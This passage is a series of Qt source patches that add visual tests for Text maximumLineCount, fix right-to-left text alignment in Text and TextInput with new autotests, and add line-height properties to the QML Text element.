    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
    new file mode 100644
    index 0000000..affd3a6
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png
    new file mode 100644
    index 0000000..0ba68e5
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
    new file mode 100644
    index 0000000..410b47d
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines_wrap.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png
    new file mode 100644
    index 0000000..3f1144b
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
    new file mode 100644
    index 0000000..94cf1d2
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines_wrap_elide.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png
    new file mode 100644
    index 0000000..f0ad965
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
    new file mode 100644
    index 0000000..4b55312
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "wrap.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png
    new file mode 100644
    index 0000000..62274ce
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
    new file mode 100644
    index 0000000..7d002ea
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "wrap_elide.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
    new file mode 100644
    index 0000000..4e993c6
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
    @@ -0,0 +1,13 @@
    +import QtQuick 1.0
    +import "../../shared" 1.0
    +
    +Rectangle {
    +    width: childrenRect.width
    +    height: childrenRect.height
    +
    +    TestText {
    +        width:  80
    +        maximumLineCount: 2
    +        text: "Line1\nLine2\nLine3\nLine4"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
    new file mode 100644
    index 0000000..5d8f50b
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
    @@ -0,0 +1,14 @@
    +import QtQuick 1.0
    +import "../../shared" 1.0
    +
    +Rectangle {
    +    width: childrenRect.width
    +    height: childrenRect.height
    +
    +    TestText {
    +        width:  80
    +        maximumLineCount: 3
    +        wrapMode: Text.WordWrap
    +        text: "Line1 has a more\nLine2\nLine3\nLine4"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
    new file mode 100644
    index 0000000..ac7b5cb
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
    @@ -0,0 +1,15 @@
    +import QtQuick 1.0
    +import "../../shared" 1.0
    +
    +Rectangle {
    +    width: childrenRect.width
    +    height: childrenRect.height
    +
    +    TestText {
    +        width:  80
    +        maximumLineCount: 3
    +        wrapMode: Text.WordWrap
    +        elide: Text.ElideRight
    +        text: "Line1 has a more\nLine2\nLine3\nLine4"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
    new file mode 100644
    index 0000000..6d72430
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
    @@ -0,0 +1,14 @@
    +import QtQuick 1.0
    +import "../../shared" 1.0
    +
    +Rectangle {
    +    width: childrenRect.width
    +    height: childrenRect.height
    +
    +    TestText {
    +        width:  80
    +        maximumLineCount: 3
    +        wrapMode: Text.WordWrap
    +        text: "The quick brown fox jumped over the lazy dog"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
    new file mode 100644
    index 0000000..785c5f5
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
    @@ -0,0 +1,15 @@
    +import QtQuick 1.0
    +import "../../shared" 1.0
    +
    +Rectangle {
    +    width: childrenRect.width
    +    height: childrenRect.height
    +
    +    TestText {
    +        width:  80
    +        maximumLineCount: 3
    +        wrapMode: Text.WordWrap
    +        elide: Text.ElideRight
    +        text: "The quick brown fox jumped over the lazy dog"
    +    }
    +}
    -- 
    cgit v0.12
    
    
    From 64c0ee4e5f1f05105ab6168ebb4cb188e8fd838f Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Fri, 28 Jan 2011 13:32:25 +1000
    Subject: Fixing right-to-left text in Text and TextInput
    
    The Text and TextInput items should now automatically flip the
    alignment of right-to-left text. Autotests also added to ensure the
    text is on the correct side (added for TextInput also).
    
    Task-number: QTBUG-15880
    Reviewed-by: Martin Jones
    ---
     src/declarative/graphicsitems/qdeclarativetext.cpp | 24 ++++++++++++++-----
     .../graphicsitems/qdeclarativetext_p_p.h           |  2 +-
     .../graphicsitems/qdeclarativetextinput.cpp        | 15 ++++++++----
     .../graphicsitems/qdeclarativetextinput_p_p.h      |  6 ++++-
     .../data/horizontalAlignment_RightToLeft.qml       | 23 ++++++++++++++++++
     .../qdeclarativetext/tst_qdeclarativetext.cpp      | 28 ++++++++++++++++++++++
     .../data/horizontalAlignment_RightToLeft.qml       | 23 ++++++++++++++++++
     .../tst_qdeclarativetextedit.cpp                   | 25 +++++++++++++++++++
     .../data/horizontalAlignment_RightToLeft.qml       | 23 ++++++++++++++++++
     .../tst_qdeclarativetextinput.cpp                  | 26 ++++++++++++++++++++
     10 files changed, 183 insertions(+), 12 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index 1e0988d..5edfc31 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -268,7 +268,8 @@ void QDeclarativeTextPrivate::updateSize()
             singleline = false; // richtext can't elide or be optimized for single-line case
             ensureDoc();
             doc->setDefaultFont(font);
    -        QTextOption option((Qt::Alignment)int(hAlign | vAlign));
    +        QTextOption option;
    +        option.setAlignment((Qt::Alignment)int(hAlign | vAlign));
             option.setWrapMode(QTextOption::WrapMode(wrapMode));
             doc->setDefaultTextOption(option);
             if (requireImplicitWidth && q->widthValid()) {
    @@ -341,6 +342,17 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
         textOption.setWrapMode(QTextOption::WrapMode(wrapMode));
         layout.setTextOption(textOption);
     
    +    QDeclarativeText::HAlignment hAlignment = hAlign;
    +    if(text.isRightToLeft()) {
    +        if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) {
    +            hAlignment = QDeclarativeText::AlignRight;
    +        } else if (hAlign == QDeclarativeText::AlignRight) {
    +            hAlignment = QDeclarativeText::AlignLeft;
    +        } else {
    +            hAlignment = hAlign;
    +        }
    +    }
    +
         bool elideText = false;
         bool truncate = false;
     
    @@ -386,9 +398,9 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
                             // Need to correct for alignment
                             line.setLineWidth(lineWidth-elideWidth);
                             int x = line.naturalTextWidth();
    -                        if (hAlign == QDeclarativeText::AlignRight) {
    +                        if (hAlignment == QDeclarativeText::AlignRight) {
                                 x = q->width()-elideWidth;
    -                        } else if (hAlign == QDeclarativeText::AlignHCenter) {
    +                        } else if (hAlignment == QDeclarativeText::AlignHCenter) {
                                 x = (q->width()+line.naturalTextWidth()-elideWidth)/2;
                             }
                             elidePos = QPointF(x, y + fm.ascent());
    @@ -435,13 +447,13 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
             height += line.height();
     
             if (!cacheAllTextAsImage) {
    -            if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) {
    +            if ((hAlignment == QDeclarativeText::AlignLeft) || (hAlignment == QDeclarativeText::AlignJustify)) {
                     x = 0;
    -            } else if (hAlign == QDeclarativeText::AlignRight) {
    +            } else if (hAlignment == QDeclarativeText::AlignRight) {
                     x = layoutWidth - line.naturalTextWidth();
                     if (elideText && i == layout.lineCount()-1)
                         x -= elideWidth; // Correct for when eliding multilines
    -            } else if (hAlign == QDeclarativeText::AlignHCenter) {
    +            } else if (hAlignment == QDeclarativeText::AlignHCenter) {
                     x = (layoutWidth - line.naturalTextWidth()) / 2;
                     if (elideText && i == layout.lineCount()-1)
                         x -= elideWidth/2; // Correct for when eliding multilines
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    index bae2d85..01e0ab5 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    @@ -66,7 +66,7 @@ QT_BEGIN_NAMESPACE
     class QTextLayout;
     class QTextDocumentWithImageResources;
     
    -class QDeclarativeTextPrivate : public QDeclarativeImplicitSizeItemPrivate
    +class Q_AUTOTEST_EXPORT QDeclarativeTextPrivate : public QDeclarativeImplicitSizeItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeText)
     public:
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    index 911c68c..3d2466d 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    @@ -51,6 +51,7 @@
     #include 
     #include 
     #include 
    +#include 
     
     #ifndef QT_NO_LINEEDIT
     
    @@ -1094,10 +1095,11 @@ void QDeclarativeTextInputPrivate::updateHorizontalScroll()
         int cix = qRound(control->cursorToX());
         QRect br(q->boundingRect().toRect());
         int widthUsed = calculateTextWidth();
    +    Qt::Alignment va = QStyle::visualAlignment(control->layoutDirection(), QFlag(Qt::Alignment(hAlign)));
         if (autoScroll) {
             if (widthUsed <=  br.width()) {
                 // text fits in br; use hscroll for alignment
    -            switch (hAlign & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
    +            switch (va & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
                 case Qt::AlignRight:
                     hscroll = widthUsed - br.width() - 1;
                     break;
    @@ -1121,12 +1123,17 @@ void QDeclarativeTextInputPrivate::updateHorizontalScroll()
                 hscroll = widthUsed - br.width() + 1;
             }
         } else {
    -        if(hAlign == QDeclarativeTextInput::AlignRight){
    +        switch (va & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) {
    +        case Qt::AlignRight:
                 hscroll = q->width() - widthUsed;
    -        }else if(hAlign == QDeclarativeTextInput::AlignHCenter){
    +            break;
    +        case Qt::AlignHCenter:
                 hscroll = (q->width() - widthUsed) / 2;
    -        } else {
    +            break;
    +        default:
    +            // Left
                 hscroll = 0;
    +            break;
             }
         }
     }
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    index 9644410..1f45c11 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    @@ -66,7 +66,7 @@
     
     QT_BEGIN_NAMESPACE
     
    -class QDeclarativeTextInputPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
    +class Q_AUTOTEST_EXPORT QDeclarativeTextInputPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeTextInput)
     public:
    @@ -132,6 +132,10 @@ public:
         bool autoScroll;
         bool selectByMouse;
         bool canPaste;
    +
    +    static inline QDeclarativeTextInputPrivate *get(QDeclarativeTextInput *t) {
    +        return t->d_func();
    +    }
     };
     
     QT_END_NAMESPACE
    diff --git a/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
    new file mode 100644
    index 0000000..4f58944
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml
    @@ -0,0 +1,23 @@
    +import QtQuick 1.0
    +
    +Rectangle {
    +    id: top
    +    width: 200; height: 70;
    +
    +    property alias horizontalAlignment: text.horizontalAlignment
    +    property string text: "اختبا"
    +
    +    Rectangle {
    +        anchors.centerIn: parent
    +        width: 180
    +        height: 20
    +        color: "green"
    +
    +        Text {
    +            id: text
    +            objectName: "text"
    +            anchors.fill: parent
    +            text: top.text
    +        }
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index fabae18..c9b5295 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -43,6 +43,7 @@
     #include 
     #include 
     #include 
    +#include 
     #include 
     #include 
     #include 
    @@ -83,6 +84,7 @@ private slots:
     
         // ### these tests may be trivial    
         void horizontalAlignment();
    +    void horizontalAlignment_RightToLeft();
         void verticalAlignment();
         void font();
         void style();
    @@ -502,6 +504,32 @@ void tst_qdeclarativetext::horizontalAlignment()
     
     }
     
    +void tst_qdeclarativetext::horizontalAlignment_RightToLeft()
    +{
    +    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
    +    QDeclarativeText *text = canvas->rootObject()->findChild("text");
    +    QVERIFY(text != 0);
    +    canvas->show();
    +
    +    QDeclarativeTextPrivate *textPrivate = QDeclarativeTextPrivate::get(text);
    +    QVERIFY(textPrivate != 0);
    +
    +    QVERIFY(textPrivate->layout.lineAt(0).x() > canvas->width()/2);
    +
    +    // "Right" aligned
    +    text->setHAlign(QDeclarativeText::AlignRight);
    +    QCOMPARE(text->hAlign(), QDeclarativeText::AlignRight);
    +    QVERIFY(textPrivate->layout.lineAt(0).x() < canvas->width()/2);
    +
    +    // Center aligned
    +    text->setHAlign(QDeclarativeText::AlignHCenter);
    +    QCOMPARE(text->hAlign(), QDeclarativeText::AlignHCenter);
    +    QVERIFY(textPrivate->layout.lineAt(0).x() < canvas->width()/2);
    +    QVERIFY(textPrivate->layout.lineAt(0).x() + textPrivate->layout.lineAt(0).width() > canvas->width()/2);
    +
    +    delete canvas;
    +}
    +
     void tst_qdeclarativetext::verticalAlignment()
     {
         //test one align each, and then test if two align fails.
    diff --git a/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
    new file mode 100644
    index 0000000..43ea8d8
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
    @@ -0,0 +1,23 @@
    +import QtQuick 1.0
    +
    +Rectangle {
    +    id: top
    +    width: 200; height: 70;
    +
    +    property alias horizontalAlignment: text.horizontalAlignment
    +    property string text: "اختبا"
    +
    +    Rectangle {
    +        anchors.centerIn: parent
    +        width: 200
    +        height: 20
    +        color: "green"
    +
    +        TextEdit {
    +            id: text
    +            objectName: "text"
    +            anchors.fill: parent
    +            text: top.text
    +        }
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    index cd1977a..b1e0cb9 100644
    --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    @@ -102,6 +102,7 @@ private slots:
     
         // ### these tests may be trivial    
         void hAlign();
    +    void hAlign_RightToLeft();
         void vAlign();
         void font();
         void color();
    @@ -424,6 +425,30 @@ void tst_qdeclarativetextedit::hAlign()
     
     }
     
    +void tst_qdeclarativetextedit::hAlign_RightToLeft()
    +{
    +    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
    +    QDeclarativeTextEdit *textEdit = canvas->rootObject()->findChild("text");
    +    QVERIFY(textEdit != 0);
    +    canvas->show();
    +
    +    QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
    +
    +    // "Right" align
    +    textEdit->setHAlign(QDeclarativeTextEdit::AlignRight);
    +    QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignRight);
    +    QVERIFY(textEdit->positionToRectangle(0).x() < canvas->width()/2);
    +
    +    // Center align
    +    // Note that position 0 is on the right-hand side
    +    textEdit->setHAlign(QDeclarativeTextEdit::AlignHCenter);
    +    QCOMPARE(textEdit->hAlign(), QDeclarativeTextEdit::AlignHCenter);
    +    QVERIFY(textEdit->positionToRectangle(0).x() - textEdit->width() < canvas->width()/2);
    +    QVERIFY(textEdit->positionToRectangle(0).x() > canvas->width()/2);
    +
    +    delete canvas;
    +}
    +
     void tst_qdeclarativetextedit::vAlign()
     {
         //test one align each, and then test if two align fails.
    diff --git a/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
    new file mode 100644
    index 0000000..b11535e
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
    @@ -0,0 +1,23 @@
    +import QtQuick 1.0
    +
    +Rectangle {
    +    id: top
    +    width: 200; height: 70;
    +
    +    property alias horizontalAlignment: text.horizontalAlignment
    +    property string text: "اختبا"
    +
    +    Rectangle {
    +        anchors.centerIn: parent
    +        width: 180
    +        height: 20
    +        color: "green"
    +
    +        TextInput {
    +            id: text
    +            objectName: "text"
    +            anchors.fill: parent
    +            text: top.text
    +        }
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    index 69c1f7e..78f6693 100644
    --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    @@ -95,6 +95,7 @@ private slots:
     
         void horizontalAlignment_data();
         void horizontalAlignment();
    +    void horizontalAlignment_RightToLeft();
     
         void positionAt();
     
    @@ -662,6 +663,31 @@ void tst_qdeclarativetextinput::horizontalAlignment()
         delete canvas;
     }
     
    +void tst_qdeclarativetextinput::horizontalAlignment_RightToLeft()
    +{
    +    QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml");
    +    QDeclarativeTextInput *textInput = canvas->rootObject()->findChild("text");
    +    QVERIFY(textInput != 0);
    +    canvas->show();
    +
    +    QDeclarativeTextInputPrivate *textInputPrivate = QDeclarativeTextInputPrivate::get(textInput);
    +    QVERIFY(textInputPrivate != 0);
    +    QVERIFY(-textInputPrivate->hscroll > canvas->width()/2);
    +
    +    // "Right" Align
    +    textInput->setHAlign(QDeclarativeTextInput::AlignRight);
    +    QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignRight);
    +    QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
    +
    +    // Center Align
    +    textInput->setHAlign(QDeclarativeTextInput::AlignHCenter);
    +    QCOMPARE(textInput->hAlign(), QDeclarativeTextInput::AlignHCenter);
    +    QVERIFY(-textInputPrivate->hscroll < canvas->width()/2);
    +    QVERIFY(-textInputPrivate->hscroll + textInputPrivate->width() > canvas->width()/2);
    +
    +    delete canvas;
    +}
    +
     void tst_qdeclarativetextinput::positionAt()
     {
         QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml");
    -- 
    cgit v0.12
    
    
    From 7c1ab9b6a8e1b3d64c08a4f5067448884b068945 Mon Sep 17 00:00:00 2001
    From: Yann Bodson 
    Date: Fri, 28 Jan 2011 11:58:10 +1000
    Subject: Add support for line spacing in Text element.
    
    This change adds the lineHeight and lineHeightMode properties.
    
    Task-number: QTBUG-14296
    Reviewed-by: Martin Jones
    ---
     src/declarative/graphicsitems/qdeclarativetext.cpp | 84 +++++++++++++++++++++-
     src/declarative/graphicsitems/qdeclarativetext_p.h | 13 ++++
     .../graphicsitems/qdeclarativetext_p_p.h           |  2 +
     src/gui/text/qtextdocumentlayout.cpp               | 17 ++++-
     src/gui/text/qtextdocumentlayout_p.h               |  5 +-
     .../qdeclarativetext/data/lineHeight.qml           | 15 ++++
     .../qdeclarativetext/tst_qdeclarativetext.cpp      | 32 +++++++++
     7 files changed, 162 insertions(+), 6 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativetext/data/lineHeight.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index 5edfc31..fb1ae06 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -41,6 +41,7 @@
     
     #include "private/qdeclarativetext_p.h"
     #include "private/qdeclarativetext_p_p.h"
    +#include 
     #include 
     #include 
     #include 
    @@ -83,6 +84,14 @@ private:
         static QSet errors;
     };
     
    +class QDeclarativeTextDocumentLayout : public QTextDocumentLayout
    +{
    +    Q_OBJECT
    +public:
    +    QDeclarativeTextDocumentLayout(QTextDocument *doc);
    +    void setLineHeight(qreal lineHeight, QDeclarativeText::LineHeightMode mode);
    +};
    +
     DEFINE_BOOL_CONFIG_OPTION(enableImageCache, QML_ENABLE_TEXT_IMAGE_CACHE);
     
     QString QDeclarativeTextPrivate::elideChar = QString(0x2026);
    @@ -90,7 +99,8 @@ QString QDeclarativeTextPrivate::elideChar = QString(0x2026);
     QDeclarativeTextPrivate::QDeclarativeTextPrivate()
     : color((QRgb)0), style(QDeclarativeText::Normal), hAlign(QDeclarativeText::AlignLeft), 
       vAlign(QDeclarativeText::AlignTop), elideMode(QDeclarativeText::ElideNone),
    -  format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineCount(1), truncated(false), maximumLineCount(INT_MAX),
    +  format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineHeight(1), lineHeightMode(QDeclarativeText::MultiplyHeight),
    +  lineCount(1), truncated(false), maximumLineCount(INT_MAX),
       maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false),
       cacheAllTextAsImage(true), internalWidthUpdate(false), requireImplicitWidth(false), naturalWidth(0), doc(0)
     {
    @@ -175,6 +185,15 @@ void QTextDocumentWithImageResources::setText(const QString &text)
     
     QSet QTextDocumentWithImageResources::errors;
     
    +QDeclarativeTextDocumentLayout::QDeclarativeTextDocumentLayout(QTextDocument *doc)
    +    : QTextDocumentLayout(doc) {
    +}
    +
    +void QDeclarativeTextDocumentLayout::setLineHeight(qreal lineHeight, QDeclarativeText::LineHeightMode mode = QDeclarativeText::MultiplyHeight)
    +{
    +    QTextDocumentLayout::setLineHeight(lineHeight, QTextDocumentLayout::LineHeightMode(mode));
    +}
    +
     QDeclarativeTextPrivate::~QDeclarativeTextPrivate()
     {
     }
    @@ -220,6 +239,11 @@ void QDeclarativeTextPrivate::updateLayout()
                 singleline = false;
                 QDeclarativeStyledText::parse(text, layout);
             }
    +    } else {
    +        ensureDoc();
    +        QDeclarativeTextDocumentLayout *layout = new QDeclarativeTextDocumentLayout(doc);
    +        layout->setLineHeight(lineHeight, lineHeightMode);
    +        doc->setDocumentLayout(layout);
         }
     
         updateSize();
    @@ -444,7 +468,7 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
         for (int i = 0; i < layout.lineCount(); ++i) {
             QTextLine line = layout.lineAt(i);
             line.setPosition(QPointF(0, height));
    -        height += line.height();
    +        height += (lineHeightMode == QDeclarativeText::PixelHeight) ? lineHeight : line.height() * lineHeight;
     
             if (!cacheAllTextAsImage) {
                 if ((hAlignment == QDeclarativeText::AlignLeft) || (hAlignment == QDeclarativeText::AlignJustify)) {
    @@ -468,7 +492,7 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
             emit q->lineCountChanged();
         }
     
    -    return layout.boundingRect().toAlignedRect().size();
    +    return QSize(qCeil(widthUsed), qCeil(height));
     }
     
     /*!
    @@ -1404,6 +1428,60 @@ qreal QDeclarativeText::paintedHeight() const
     }
     
     /*!
    +    \qmlproperty real Text::lineHeight
    +
    +    Sets the line height for the text.
    +    The value can be in pixels or a multiplier depending on lineHeightMode.
    +
    +*/
    +qreal QDeclarativeText::lineHeight() const
    +{
    +    Q_D(const QDeclarativeText);
    +    return d->lineHeight;
    +}
    +
    +void QDeclarativeText::setLineHeight(qreal lineHeight)
    +{
    +    Q_D(QDeclarativeText);
    +
    +    if ((d->lineHeight == lineHeight) || (lineHeight < 0.0))
    +        return;
    +
    +    d->lineHeight = lineHeight;
    +    d->updateLayout();
    +    emit lineHeightChanged(lineHeight);
    +}
    +
    +/*!
    +    \qmlproperty real Text::lineHeightMode
    +
    +    This property determines how the line height is specified.
    +    The possible values are:
    +
    +    \list
    +    \o Text.MultiplyHeight (default) - specifies a line height multiplier,
    +    \o Text.PixelHeight - specifies the line height in pixels.
    +    \endlist
    +*/
    +QDeclarativeText::LineHeightMode QDeclarativeText::lineHeightMode() const
    +{
    +    Q_D(const QDeclarativeText);
    +    return d->lineHeightMode;
    +}
    +
    +void QDeclarativeText::setLineHeightMode(LineHeightMode mode)
    +{
    +    Q_D(QDeclarativeText);
    +    if (mode == d->lineHeightMode)
    +        return;
    +
    +    d->lineHeightMode = mode;
    +    d->updateLayout();
    +
    +    emit lineHeightModeChanged(mode);
    +}
    +
    +/*!
         Returns the number of resources (images) that are being loaded asynchronously.
     */
     int QDeclarativeText::resourcesLoading() const
